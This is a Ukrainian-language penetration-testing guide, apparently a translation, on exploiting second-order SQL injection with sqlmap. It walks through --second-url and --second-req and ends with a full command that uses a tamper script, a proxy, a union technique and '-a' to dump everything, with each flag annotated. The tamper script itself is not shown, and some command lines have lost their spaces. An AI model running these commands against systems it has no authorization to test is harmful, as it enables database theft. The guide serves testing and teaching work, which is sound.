SQLMap може використовувати другорядні SQL-ін'єкції.
Вам потрібно надати:
Запит, де буде збережено підозрілу SQL-ін'єкцію
Запит, де підозрілий код буде виконаний
Запит, де SQL-ін'єкційна загроза зберігається, позначається так само, як і будь-яка інша ін'єкція в sqlmap. Запит, де sqlmap може прочитати вивід/виконання ін'єкції, можна позначити за допомогою --second-url або за допомогою --second-req, якщо вам потрібно вказати повний запит з файлу.
Простий приклад другорядної ін'єкції:
#Get the SQL payload execution with a GET to a urlsqlmap-rlogin.txt-pusername--second-url"http://10.10.10.10/details.php"#Get the SQL payload execution sending a custom request from a filesqlmap-rlogin.txt-pusername--second-reqdetails.txt
У деяких випадках цього буде недостатньо, оскільки вам потрібно виконати інші дії окрім відправлення вразливості та доступу до іншої сторінки.
Коли це потрібно, ви можете використовувати змінник sqlmap. Наприклад, наступний скрипт зареєструє нового користувача, використовуючи вразливість sqlmap як електронну пошту, та вийде з системи.
SQLMap тампер завжди виконується перед спробою внедрення з використанням пейлоадуі повинен повертати пейлоад. У цьому випадку нам не важливий пейлоад, але нам потрібно відправити деякі запити, тому пейлоад не змінюється.
Таким чином, якщо з якоїсь причини нам потрібен більш складний потік для експлуатації другорядного SQL-ін'єкції, наприклад:
Створити обліковий запис з SQLi пейлоадом у полі "email"
Вийти з системи
Увійти до системи за допомогою цього облікового запису (login.txt)
Надіслати запит на виконання SQL-ін'єкції (second.txt)
Ця команда sqlmap допоможе:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
########### --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload# -r login.txt : Indicates the request to send the SQLi payload# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt# --second-req second.txt : Request to send to execute the SQLi and get the ouput# --proxy http://127.0.0.1:8080 : Use this proxy# --technique=U : Help sqlmap indicating the technique to use# --dbms mysql : Help sqlmap indicating the dbms# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln# -a : Dump all